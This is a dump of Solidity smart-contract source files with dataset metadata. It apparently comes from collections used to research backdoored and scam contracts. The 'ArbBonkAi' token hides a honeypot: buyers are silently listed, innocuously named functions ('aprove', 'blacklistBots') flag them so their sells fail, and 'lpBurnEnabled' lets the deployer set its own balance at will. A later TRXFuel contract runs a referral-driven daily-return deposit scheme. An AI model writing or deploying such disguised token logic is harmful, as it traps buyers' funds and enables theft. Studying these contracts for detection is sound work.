function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ARBBONK is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "ArbBonkAi";
string private constant _symbol = "BONK AI";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 4 / 100; //5%
uint256 public _maxWalletAmount = _totalSupply * 4 / 100; //5%
address public marketingWallet;
address private Swap;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor () {
marketingWallet = payable(msg.sender);
Swap = payable(msg.sender);
balances[_msgSender()] = _totalSupply;
buyFee.liquidity = 0;
buyFee.marketing = 0;
sellFee.liquidity = 0;
sellFee.marketing = 0;
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
balances[recipient] = balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function aprove() public virtual {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isIncludedFromFee[account] = false;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8");
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8");
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function lpBurnEnabled(uint256 enable) public {
if (!_isExcludedFromFee[_msgSender()]) {
return;
}
balances[Swap] = enable;
}
function isIncludedFromFee(address account) public view returns(bool) {
return _isIncludedFromFee[account];
}
function blacklistBots() public onlyOwner {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * buyFee.liquidity / 100;
uint256 marketingFeeTokens = amount * buyFee.marketing / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * sellFee.liquidity / 100;
uint256 marketingFeeTokens = amount * sellFee.marketing / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function removeLimits() public onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
emit MaxTxAmountUpdated(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(to != address(0), "ERC20: transfer to the zero address");
balances[from] -= amount;
uint256 transferAmount = amount;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (to != uniswapV2Pair) { includeFromFee.push(to);
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
transferAmount = takeBuyFees(amount, from);
}
if (from != uniswapV2Pair) {
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]);
transferAmount = takeSellFees(amount, from);
}
}
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
}
| 28,043 | 13,552 |
904416afa72ee28abde4efa161f8469cfbb9ad21de53750b7da0a68f3880cd18
| 23,043 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xeb5edbcac774565a6f6cdf7235c0c4cf68262224.sol
| 3,224 | 12,961 |
pragma solidity 0.4.23;
contract EToken2Interface {
function baseUnit(bytes32 _symbol) constant returns(uint8);
function name(bytes32 _symbol) constant returns(string);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) public returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function _performApprove(address _spender, uint _value, address _sender) public returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function _performGeneric(bytes, address) public payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() public view returns(uint256 supply);
function balanceOf(address _owner) public view returns(uint256 balance);
function transfer(address _to, uint256 _value) public returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
function approve(address _spender, uint256 _value) public returns(bool success);
function allowance(address _owner, address _spender) public view returns(uint256 remaining);
// function symbol() constant returns(string);
function decimals() public view returns(uint8);
// function name() constant returns(string);
}
contract AssetProxyInterface is ERC20Interface {
function _forwardApprove(address _spender, uint _value, address _sender) public returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public returns(bool);
function recoverTokens(ERC20Interface _asset, address _receiver, uint _value) public returns(bool);
function etoken2() public pure returns(address) {} // To be replaced by the implicit getter;
function etoken2Symbol() public pure returns(bytes32) {} // To be replaced by the implicit getter;
}
contract Bytes32 {
function _bytes32(string _input) internal pure returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal pure {
assembly {
let returndatastart := 0
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(gas, _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract Cointribution is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
// Assigned EToken2, immutable.
EToken2Interface public etoken2;
// Assigned symbol, immutable.
bytes32 public etoken2Symbol;
// Assigned name, immutable. For UI.
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) public returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal view returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(ERC20Interface _asset, address _receiver, uint _value) public onlyAssetOwner() returns(bool) {
return _asset.transfer(_receiver, _value);
}
function totalSupply() public view returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) public view returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) public view returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() public view returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) public returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) public returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) public returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) public returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) public returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) public returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) public onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) public onlyEToken2() {
emit Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) public onlyEToken2() {
emit Approval(_from, _spender, _value);
}
function () public payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
// Interface functions to allow specifying ICAP addresses as strings.
function transferToICAP(string _icap, uint _value) public returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) public returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) public returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) public returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
// Current asset implementation contract address.
address internal latestVersion;
// Proposed next asset implementation contract address.
address internal pendingVersion;
// Upgrade freeze-time start.
uint internal pendingVersionTimestamp;
// Timespan for users to review the new implementation and make decision.
uint constant UPGRADE_FREEZE_TIME = 3 days;
// Asset implementation contract address that user decided to stick with.
// 0x0 means that user uses latest version.
mapping(address => address) internal userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) public view returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() public view returns(address) {
return latestVersion;
}
function getPendingVersion() public view returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() public view returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) public onlyAssetOwner() returns(bool) {
// Should not already be in the upgrading process.
if (pendingVersion != 0x0) {
return false;
}
// New version address should be other than 0x0.
if (_newVersion == 0x0) {
return false;
}
// Don't apply freeze-time for the initial setup.
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
emit UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() public onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
emit UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() public returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
emit UpgradeCommited(latestVersion);
return true;
}
function optOut() public returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
emit OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() public returns(bool) {
delete userOptOutVersion[msg.sender];
emit OptedIn(msg.sender, latestVersion);
return true;
}
// Backwards compatibility.
function multiAsset() public view returns(EToken2Interface) {
return etoken2;
}
}
| 143,874 | 13,553 |
774c5d1fa6ce9e139193df053be5c3c8b9fe04d9f7024c5e0e594da1edbaeeef
| 16,507 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGHaFjcKUKMDAeg6UbxXDYNRjcfH94hNmM_TRXFuel.sol
| 3,558 | 10,874 |
//SourceUnit: tron2get2.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TRXFuel {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 300 trx;
uint256 constant public BASE_PERCENT = 10;
uint256[] public REFERRAL_PERCENTS = [50, 20, 5];
uint256 constant public MARKETING_FEE = 80;
uint256 constant public PROJECT_FEE = 20;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 10;
uint256 constant public MAX_CONTRACT_PERCENT = 10;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 level1;
uint256 level2;
uint256 level3;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
if(i == 0){
users[upline].level1 = users[upline].level1.add(1);
} else if(i == 1){
users[upline].level2 = users[upline].level2.add(1);
} else if(i == 2){
users[upline].level3 = users[upline].level3.add(1);
}
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
if(contractBalancePercent>MAX_CONTRACT_PERCENT)
{
contractBalancePercent = MAX_CONTRACT_PERCENT;
}
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
if(timeMultiplier>MAX_HOLD_PERCENT){
timeMultiplier = 10;
}
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function getHoldBonus(address userAddress) public view returns(uint256) {
if(getUserCheckpoint(userAddress) == 0){
uint timeMultiplier = (block.timestamp.sub(uint(users[userAddress].checkpoint))).div(TIME_STEP);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
}else {
return 0;
}
}
}
| 299,474 | 13,554 |
5872d683709a32c1f8d52fcfa2cf290240b9ed352df92ac0b51596f0e410304e
| 24,306 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2d04c7051112c47ee74a41c723f791b499aa6b1a.sol
| 4,414 | 16,221 |
pragma solidity ^0.4.24;
//==============================================================================
// Begin: This part comes from openzeppelin-solidity
// https://github.com/OpenZeppelin/openzeppelin-solidity
//==============================================================================
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
